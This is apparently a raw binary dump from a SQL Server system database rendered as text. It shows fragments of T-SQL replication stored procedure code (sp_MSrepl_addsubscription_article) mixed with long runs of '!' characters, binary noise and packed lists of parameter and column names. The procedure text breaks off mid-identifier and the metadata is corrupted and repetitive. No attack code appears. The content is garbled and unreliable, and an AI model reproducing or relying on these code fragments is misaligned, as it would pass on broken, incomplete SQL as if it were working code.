                                @active_start_date  = @active_start_date,
                                @active_end_date  = @active_end_date,
                                @optional_command_line = @optional_command_line,
            					@enabled_for_syncmgr = @enabled_for_syncmgr,
                                @dts_package_name = @dts_package_name,
                                @dts_package_password = @dts_package_password,
                                @dts_package_location = @dts_package_location,
                                @distribution_job_name = @distribution_job_name,
                                @publisher = @publisher,
                                @publisher_type = @publisher_type
                                ,@subscriptionstreams = @subscriptionstreams
                                ,@subscriber_type = @subscriber_type
                                ,@pubid = @pubid
                                ,@non_sql_flag = @non_sql_flag
                                ,@publisher_local = @publisher_local
                                ,@immediate_sync = @immediate_sync
                                ,@srvid = @srvid
                                ,@independent_agent_id = @independent_agent_id
                                ,@dts_package_location_id = @dts_package_location_id
                                ,@immediate_sync_ready  = @immediate_sync_ready
                                ,@sync_method = @sync_method
                                ,@subscription_type_id = @subscription_type_id
                                ,@pubstatus = @pubstatus
                                ,@allow_anonymous = @allow_anonymous
                                ,@update_mode_id = @update_mode_id   
                        
				IF @@error <> 0 OR @retcode <> 0
				BEGIN
					CLOSE hCx
					DEALLOCATE hCx

					IF @@trancount > 0
						ROLLBACK TRAN 

					RETURN (1)
				END
				FETCH hCx INTO @article
			END
            CLOSE hCx
            DEALLOCATE hCx

            COMMIT TRAN

            RETURN (0)
        END
        
        -- We are adding a single subscription.  
       
        EXECUTE @retcode = sys.sp_MSrepl_addsubscription_article
                                @publ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*E(fwtGh>8^}!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-'N) D}-uk0-M88
C@msgnum0-M?@lang0-PRO@table_server0-PRK@table_name0-PRO@table_schema0-PRQ@table_catalog0-PRK@table_type0-PRhhM@fUsePattern0-^I@publisher0-^O@publisher_db0-^M@publication0-Se88
Gobject_id0-Se88
Gschema_id0-Se44Uprocedure_number0-Se[PROCEDURE_QUALIFIER0-SeSPROCEDURE_OWNER0-SeQPROCEDURE_NAME0-SeKCOLUMN_NAME0-Se44KCOLUMN_TYPE0-Se	44GDATA_TYPE0-Se
GTYPE_NAME0-Se88
GPRECISION0-Se88
ALENGTH0-Se
44?SCALE0-Se44?RADIX0-Se44ENULLABLE0-SeCREMARKS0-Se@@ICOLUMN_DEF0-Se44OSQL_DATA_TYPE0-Se44USQL_DATETIME_SUB0-Se88
WCHAR_OCTET_LENGTH0-Se88
UORDINAL_POSITION0-SeKIS_NULLABLE0-Se]SS_TYPE_CATALOG_NAME0-Se[SS_TYPE_SCHEMA_NAME0-Se[SS_UDT_CATALOG_NAME0-SeYSS_UDT_SCHEMA_NAME0-Se@@gSS_UDT_ASSEMBLY_TYPE_NAME0-Se}SS_XML_SCHEMACOLLECTION_CATALOG_NAME0-Se{SS_XML_SCHEMACOLLECTION_SCHEMA_NAME0-SemSS_XML_SCHEMACOLLECTION_NAME0-Se00MSS_DATA_TYPE0-mG@rolename0-mI@loginname0-mI@operation0-mhhI@is_member0-n88
A@pubid0-nE@article0-nhhO@returnfilter0-nI@publisher0-n88
A@found0-aI@publisher0-aO@publisher_db0-aM@publication0-a88
A@artid0-aE@article0-aK@dest_table0-aK@dest_owner0-/m[(G@job_type0-/m[88
G@maxtrans0-/m[88
G@maxscans0-/m[hhK@continuous0-/m[U@pollinginterval0-/m[I@retention0-/m[I@threshold0-[aM@publication0-[aE@article0-[ahh[@ignore_distributor0-[ahhG@reserved0-[ahhi@force_invalidate_snapshot0-[ahhi@force_reinit_subscription0-[ahha@ignore_merge_metadata0-LfZI@temptable0-LfZ88
I@tablenick0-LfZ$$E@rowguid0-j8V$$A@pubid0-j8VhhW@last_sync_failed0-PO@etiTableName!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!>o&

I
a}$
n

	q		v-f'X{*|'=`%SlL8_]g|1`1-C	:)
b2b70-bĶCGRANTOR0-bĶCGRANTEE0-bĶOTABLE_CATALOG0-bĶMTABLE_SCHEMA0-bĶITABLE_NAME0-bĶKCOLUMN_NAME0-bĶ

QPRIVILEGE_TYPE0-bĶMIS_GRANTABLE-88
0-?@type0-C@server0-G@infotype0-A@login0-G@password0-Vu88
Kdatabase_id0-Vu88
Gscript_id0-VuKscript_name0-Vu88
Cversion0-Vu88
Mscript_level0-Vu88
_downgrade_start_level0-Vu88
adowngrade_target_level0-Vu88
[upgrade_start_level0-Vu	88
]upgrade_target_level0-R]@foreignkey_tab_name0-Ra@foreignkey_tab_schema0-RQ@pk_table_name0-RU@pk_table_schema0-RW@pk_table_catalog0-Y88
Eaudit_id0-Y4=name0-Y44Astatus0-Y4Kstatus_desc0-Y**Kstatus_time0-Y_event_session_address0-Y4Saudit_file_path0-YSaudit_file_size0-@@Irequest_id0-88
Istep_index0-Qoperation_type0-@@Wdistribution_type0-2I@publisher0-2M@publication0-288
S@publication_id0-2hha@autogen_sync_procs_id0-200M@sync_method0-2hhU@allow_sync_tran0-2hhY@allow_queued_tran0-2hhI@allow_dts0-2	00I@repl_freq0-2
G@hr_admin0-.88
O@publisher_id0-.O@publisher_db0-.88
K@article_id0-hM@publication0-hO@functionlist0-gM@publication0-=?@seed0-=88
A@start0-!I@publisher0-!O@publisher_db0-!M@publication0-!88
Y@subscription_type0-GCwait_id0-G@@Isession_id0-G=type0-GKobject_type0-GKobject_name0-GHHIrequest_id0-G==Mrequest_time0-G==Macquire_time0-G	dd?state0-G
88
Epriority0-ȯK@index_name0-ȯO@table_schema0-2I@publisher0-2M@publication0-288
S@publication_id0-2hha@autogen_sync_procs_id0-200M@sync_method0-2hhU@allow_sync_tran0-2hhY@allow_queued_tran0-2hhI@allow_dts0-2	00I@repl_freq0-2
G@hr_admin0-
88
K@session_id0-
88
G@agent_id0-
88
I@runstatus0-
G@comments0-
hh]@update_existing_row0-
hhS@updateable_row0-
hhI@log_error0-
hhO@update_stats0-
	88
G@phase_id0-

O@article_name0-
88
U@article_inserts0-
88
U@article_updates0-

88
U@article_deletes0-
88
Y@article_conflicts0-
88
_@article_rows_retried0-
jjg@article_percent_complete0-
88
i@article_estimated_changes0-.88
O@publisher_id7bJ}4

/
		X		uEZ
W

n*xcV6g$*^g5`E-G)oU
80-S@procedure_name0-88
O@group_number0-W@procedure_schema0-S@parameter_name0-M@source_dbms0-
S@source_version0-M@source_type0-W@destination_dbms0-
]@destination_version0-W@destination_type0-hhQ@defaults_only0-88
K@profile_id0-S@parameter_name0-U@parameter_value0-PM@publication0-P88
w@max_concurrent_dynamic_snapshots0-*M@publication0-*I@publisher0-*S@publisher_type0-M@publication0-I@publisher0-S@publisher_type0-I@publisher0-M@publisherdb0-M@publication0-C@tranid0-00I@queuetype-b88
0-b88
S@publication_id0-b88
O@publisher_id0-mI@publisher0-mO@publisher_db0-mM@publication0-mG@property0-mA@value0-LC88
G@agent_id0-߮88
A@objid0-߮88
C@refcnt0-M@publication0-K@subscriber0-Q@subscriber_db0-44g@subscriber_security_mode0-W@subscriber_login0-]@subscriber_password0-44e@publisher_security_mode0-U@publisher_login0-	[@publisher_password0-
I@job_login0-O@job_password0-G@job_name0-
88
S@frequency_type0-88
[@frequency_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
g@active_start_time_of_day0-88
c@active_end_time_of_day0-88
Y@active_start_date0-88
U@active_end_date0-
]@enabled_for_syncmgr0-M@publication0-88
]@compatibility_level0-$$E@pubidin0-88
I@tablenick0-$$E@rowguid0-00?@type0-I@rowvector0-S@changedcolumns0-00]@columns_enumeration0-$$A@pubid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

X
	
	q		+Z
-BeE[8xCZa

H
Et5@a~MLY`u-5)b4N
l.0-qtotal_virtual_address_space_kb0-wvirtual_address_space_reserved_kb0-yvirtual_address_space_committed_kb0-yvirtual_address_space_available_kb0-Upage_fault_count0-	88
omemory_utilization_percentage0-
gavailable_commit_limit_kb0-hhkprocess_physical_memory_low0-hhiprocess_virtual_memory_low0-
88
Kpdw_node_id0-7?@name0-7Q@parametername0-7G@procname0-7hhM@raise_error0-G88
E@ver_old0-G88
Q@ver_retention0-Wi88
;Hid0-WiIparameters0-WiGarguments0-WiE@command0-I@sub_table0-U@sub_table_owner0-I@publisher0-O@publisher_db0-M@publication0-G@ins_proc0-G@upd_proc0-G@del_proc0-	E@cftproc0-
K@proc_owner0-O@identity_col0-C@ts_col0-
@Q@filter_clause0-[@primary_key_bitmap0-hhW@identity_support0-hhY@independent_agent0-88
K@pubversion0-G@ins_trig0-G@upd_trig0-G@del_trig0-hhA@alter0-hhI@dump_cmds0-I88
Kpdw_node_id0-IMcounter_name0-IUcounter_category0-IOinstance_name0-Ijj&
Ocounter_value0-I**Ulast_update_time0-
M@schema_name0-MS@primary_server0-MW@primary_database0-=h$$A@pubid0-=h$$A@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!fs&

Q

|1&

C
		l	%	B[[>[9e:H`-
Q)m>2Wm0-oI@publisher0-oE@version0-yK@table_name0-yM@table_owner0-yU@table_qualifier0-yhhM@fUsePattern0- ?@name0-OI@publisher0-OO@publisher_db0-OM@publication0-O]@alt_snapshot_folder0-O88
Y@subscription_type0-OhhK@force_null0-88
G@newvalue0-][ring_buffer_address0-]x4xUring_buffer_type0-]Gtimestamp0-]4Arecord0-(G@loginame0-G@rolename0-C@newpwd-hh0-Q@database_name0-G@loginame0-88
E@numjobs0-G@srv_orig0-E@db_orig0-88
W@keep_replication0-hhU@perform_upgrade0-U@recoveryforklsn0-5C88
A@artid0-5C00Q@publishertype0-5CI@publisher0-'I@publisher0-'A@login0-'G@password0-'G@provider0-I@publisher0-O@publisher_db0-I@tablename0-M@current_max0-88
I@threshold0-A@range0-I@next_seed0-I@pub_range-0-W@capture_instance0-_X(G@job_type0-_XhhI@start_job0-_X88
G@maxtrans0-_X88
G@maxscans0-_XhhK@continuous0-_XU@pollinginterval0-_XI@retention0-_XI@threshold0-_X	hh]@check_for_logreader-gx0-g88
]@compatibility_level0-gW@article_resolver0-gxS@resolver_clsid0-M@publication0-K@subscriber0-Q@subscriber_db0-I@publisher0-O@publisher_db0-Y@subscription_type0-88
A@found0- S@filtered_table0- K@join_table0-Y@join_filterclause0-88
I@tablenick0-$$E@rowguid0-K@generation0-00?@type0-7E@lineage0-?@colv0-$$A@pubid0-88
M@compatlevel0-E%K@procsuffix0-
G@typename0-A@flagsY@p2p_originator_id0-!-
e@p2p_continue_onconflict0-5C88
A@artid0-5C00Q@publishertype0-5CI@publisher0-'I@publisher0-'A@login0-'G@password0-'G@provider0-I@publisher0-O@publisher_db0-I@tablename0-M@current_max0-88
I@threshold0-A@range0-I@next_seed0-I@pub_range-0-W@capture_instance0-_X(G@job_type0-_XhhI@start_job0-_X88
G@maxtrans0-_X88
G@maxscans0-_XhhK@continuous0-_XU@pollinginterval0-_XI@retentiono&MfD
	y	8	7cz/fZi,
Yt+P
u
DQ=8MLg(9

\

`-<P)">_+0-Q]memory_clerk_address0-Qx4x=type0-Q4=name0-Q44Qmemory_node_id0-QEpages_kb0-Qivirtual_memory_reserved_kb0-Qkvirtual_memory_committed_kb0-QUawe_allocated_kb0-Q	gshared_memory_reserved_kb0-Q
ishared_memory_committed_kb0-QYpage_size_in_bytes0-Qapage_allocator_address0-Q
Mhost_address0-Q88
Kpdw_node_id0-EKf88
A@objid0-EKfQ@schema_option0-EKf88
]@subtype_altercolumn0-EKf88
Y@subtype_addcolumn0-EKfhhM@debug_print0-8!qQ@database_name0-8!q88
?@mode0-8!q88
O@update_table0-usM@source_dbms0-us
S@source_version0-usM@source_type0-usY@source_length_min0-usY@source_length_max0-us_@source_precision_min0-us_@source_precision_max0-us88
W@source_scale_min0-us	88
W@source_scale_max0-us
hhU@source_nullable0-usW@destination_dbms0-us
]@destination_version0-us
W@destination_type0-us[@destination_length0-usa@destination_precision0-us88
Y@destination_scale0-ushh_@destination_nullable0-us88
g@destination_createparams0-ushhG@dataloss0-ushhK@is_default0-Aw88
g@subscriber_security_mode0-AwW@subscriber_login0-Aw]@subscriber_password0-Aw88
i@distributor_security_mode0-AwY@distributor_login0-Aw_@distributor_password0-Aw88
e@publisher_security_mode0-AwU@publisher_login0-Aw	[@publisher_password0-Aw
I@job_login0-AwO@job_password0-x44Isession_id0-x88
Irequest_id0-x88
Mscheduler_id0-x44;dop0-x==Mrequest_time0-x==Igrant_time0-x[requested_memory_kb0-xWgranted_memory_kb0-x	Yrequired_memory_kb0-x
Qused_memory_kb0-xYmax_used_memory_kb0-x>>5Iquery_cost0-x
88
Ktimeout_sec0-x44_resource_semaphore_id0-x44Equeue_id0-x88
Iwait_order0-xhhWis_next_candidate0-xMwait_time_ms0-x@@Kplan_handle0-x@@Isql_handle0-x88
Egroup_id0-x88
Cpool_id0-xhhEis_small0-xSideal_memory_kb-q[hh0-yt$$A@pubid0-yt$$A@artid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!8k"3FYXg,MZA"d
k

RC

@
		+	y,=`Y]67`h-F	I)'	Gz20-CqM@publication0-Cq[@destination_folder0-Bg##;@p1-Qݣ0-Qݣ$$?@guid0-QݣE@prefix10-QݣE@prefix20-QݣE@prefix30-QݣE@prefix40-}HHEerror_id0-}Asource0-}=type0-}==Kcreate_time0-}88
Kpdw_node_id0-}@@Isession_id0-}@@Irequest_id0-}88
=spid0-}	88
Gthread_id0-}
@@Cdetails0-88
C@map_id0-88
]@datatype_mapping_id0-_/M@publication0-_/E@article0-_/S@destination_db0-_/I@sync_type0-_/
[@loopback_detection0-pC@dbname0-pK@skipchecks0-pa@keepfulltextindexfile0-JK@table_name0-JO@table_schema0-JO@table_schema0-JK@table_name0-JO@table_schema0-JO@table_server0-JQ@table_catalog0-JK@table_name0-JO@table_schema0-~88
Kdatabase_id0-~88
Icatalog_id0-~88
Etable_id0-~Qdocument_count0-~edocument_processed_count0-~88
Scompletion_type0-~kcompletion_type_description0-~88
Mworker_count0-~	88
Astatus0-~
Ystatus_description0-~==Istart_time0-~_incremental_timestamp0-T44O@publisher_id0-TO@publisher_db0-TM@publication0-TC@job_id0-Ti@dynamic_snapshot_location0-T_@dynamic_filter_login0-Te@dynamic_filter_hostname0- +00?@mode0- +$$G@agent_id0- +00K@agent_type0- +88
K@session_id0- +00S@session_status0- +S@monitor_server0- +hho@monitor_server_security_mode0- +G@database0- +	==G@log_time0- +
==O@log_time_utc0- +@E@message-0-W@capture_instance0-4W@capture_instance0-4Q@ddl_operation0-`d?@modeM@nextrundate0-,88
M@nextruntime0-,88
M@runpriority0-,Y@emailoperatorname0-,88
Q@retryattempts0-,88
K@retrydelay0-,@E@command0-,88
c@loghistcompletionlevel0-,88
_@emailcompletionlevel0-,M@description0-,Y@tagadditionalinfo0-,88
M@tagobjectid0-,88
Q@tagobjecttype0-,88
[@cmdexecsuccesscode0-, Q@category_name0-,!hhY@failure_detection0-,"88
G@agent_id0-,#88
G@proxy_id0-,$I@job_login0-,%O@job_password0-,&C@job_id0-,'$$O@job_step_uid0-T44O@publisher_id0-TO@publisher_db0-TM@publication0-TC@job_id0-Ti@dynamic_snapshot_location0-T_@dynamic_filter_login0-Te@dynamic_filter_hostname
 Xy*)

0
x'N

c

	z	+	0Gfy	`6i M=tCDGV`J-=g)Qi)0-&nG@loginame0-w$$A@pubid0-w88
I@tablenick0-w$$G@rowguid10-w$$G@rowguid20-w$$G@rowguid30-w$$G@rowguid40-w$$G@rowguid50-w$$G@rowguid60-w	$$G@rowguid70-w
$$G@rowguid80-w$$G@rowguid90-w$$I@rowguid100-w
$$I@rowguid110-w$$I@rowguid120-w$$I@rowguid130-w$$I@rowguid140-w$$I@rowguid150-w$$I@rowguid160-w$$I@rowguid170-w$$I@rowguid180-w$$I@rowguid190-w$$I@rowguid200-w$$I@rowguid210-w$$I@rowguid220-w$$I@rowguid230-w$$I@rowguid240-w$$I@rowguid250-w$$I@rowguid260-w$$I@rowguid270-w$$I@rowguid280-w$$I@rowguid290-w $$I@rowguid300-w!$$I@rowguid310-w"$$I@rowguid320-w#$$I@rowguid330-w$$$I@rowguid340-w%$$I@rowguid350-w&$$I@rowguid360-w'$$I@rowguid370-w($$I@rowguid380-w)$$I@rowguid390-w*$$I@rowguid400-w+$$I@rowguid410-w,$$I@rowguid420-w-$$I@rowguid430-w.$$I@rowguid440-w/$$I@rowguid450-w0$$I@rowguid460-w1$$I@rowguid470-w2$$I@rowguid480-w3$$I@rowguid490-w4$$I@rowguid500-w5$$I@rowguid510-w6$$I@rowguid520-w7$$I@rowguid530-w8$$I@rowguid540-w9$$I@rowguid550-w:$$I@rowguid560-w;$$I@rowguid570-w<$$I@rowguid580-w=$$I@rowguid590-w>$$I@rowguid600-w?$$I@rowguid610-w@$$I@rowguid620-wA$$I@rowguid630-wB$$I@rowguid640-wC$$I@rowguid650-wD$$I@rowguid660-wE$$I@rowguid670-wF$$I@rowguid680-wG$$I@rowguid690-wH$$I@rowguid700-wI$$I@rowguid710-wJ$$I@rowguid720-wK$$I@rowguid730-wL$$I@rowguid740-wM$$I@rowguid750-wN$$I@rowguid760-wO$$I@rowguid770-wP$$I@rowguid780-wQ$$I@rowguid790-wR$$I@rowguid800-wS$$I@rowguid810-wT$$I@rowguid820-wU$$I@rowguid830-wV$$I@rowguid840-wW$$I@rowguid850-wX$$I@rowguid860-wY$$I@rowguid870-wZ$$I@rowguid880-w[$$I@rowguid890-w\$$I@rowguid900-w]$$I@rowguid910-w^$$I@rowguid920-w_$$I@rowguid930-w`$$I@rowguid940-wa$$I@rowguid950-wb$$I@rowguid960-wc$$I@rowguid970-wd$$I@rowguid980-we$$I@rowguid990-wf$$K@rowguid100wD$$I@rowguid660-wE$$I@rowguid670-wF$$I@rowguid680-wG$$I@rowguid690-wH$$I@rowguid700-wI$$Z6[7\8]9^:_;`<a=

b

>c

?
		d		@eAfBi"Mx1`<(YFv]create procedure sys.sp_MSrepl_addsubscription_article
(
    @publication					sysname,
    @article						sysname,
    @subscriber						sysname,
    @destination_db					sysname,
    @sync_type						nvarchar(80),
    @status							sysname,
    @subscription_type				nvarchar(4),
    @update_mode					nvarchar(30),
    @loopback_detection				nvarchar(5),
    @frequency_type					int,
    @frequency_interval				int,
    @frequency_relative_interval	int,
    @frequency_recurrence_factor	int,
    @frequency_subday				int,
    @frequency_subday_interval		int,
    @active_start_time_of_day		int,
    @active_end_time_of_day			int,
    @active_start_date				int,
    @active_end_date				int,
    @optional_command_line			nvarchar(4000),
    @reserved						nvarchar(10),
    @enabled_for_syncmgr			nvarchar(5),
    @dts_package_name				sysname,
    @dts_package_password			sysname,
    @dts_package_location			nvarchar(12),
    @distribution_job_name			sysname,
    @publisher					sysname,
    @publisher_type 				sysname
    -- expose -SubscriptionStreams functionality
    ,@subscriptionstreams tinyint	-- values should fall between 1 and 64
    ,@subscriber_type				tinyint
    ,@pubid							int
    ,@non_sql_flag					bit
    ,@publisher_local				sysname
    ,@immediate_sync				bit
    ,@srvid							smallint
    ,@independent_agent_id          bit
    ,@dts_package_location_id		int
    ,@immediate_sync_ready			bit
    ,@sync_method					tinyint
    ,@subscription_type_id			int
    ,@pubstatus						tinyint
    ,@allow_anonymous				bit
    ,@update_mode_id				tinyint
)
AS
BEGIN

    SET NOCOUNT ON
    
    -- Declarations.
    DECLARE @distproc nvarchar(1000)
    DECLARE @retcode int
    DECLARE @artid int
    DECLARE @pre_creation_cmd tinyint
    DECLARE @none tinyint
    DECLARE @automatic tinyint
    DECLARE @manual tinyint
    DECLARE @inactive tinyint
    DECLARE @subscribed tinyint
    DECLARE @active tinyint
    DECLARE @subscriber_bit smallint
    DECLARE @truncate tinyint
    DECLARE @char_bcp tinyint
    DECLARE @concurrent tinyint
    DECLARE @concurrent_char tinyint
    DECLARE @virtual_id smallint
    DECLARE @internal nvarchar(10)
    DECLARE @sync_typeid tinyint
    DECLARE @loopback_detection_id bit
    DECLARE @dts_package_enc_password nvarchar(524)
    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @publisher_db sysname
    DECLARE @distribution_jobid binary(16)
	
    SELECT @none = 2            /* Const: synchronization type 'none' */
    SELECT @automatic = 1       /* Const: synchronization type 'automatic' */
    SELECT @manual = 0          /* Const: synchronization type 'manual' */
    SELECT @inactive = 0        /* Const: subscription status 'inactive' */
    SELECT @subscribed = 1        /* Const: subscription status 'subscribed' */
    SELECT @active = 2        /* Const: subscription status 'arctive' */
    SELECT @subscriber_bit = 4  /* Const: subscription server status */
    SELECT @truncate = 3    /* Const: truncate pre-creation command */
    SELECT @char_bcp = 1    /* Const: character bcp sync method */
    SELECT @concurrent = 3  /* Const: concurrent sync method */
    SELECT @concurrent_char = 4  /* Const: concurrent char mode sync method */
    SELECT @virtual_id = -1 /* Const: virtual subscriber id */
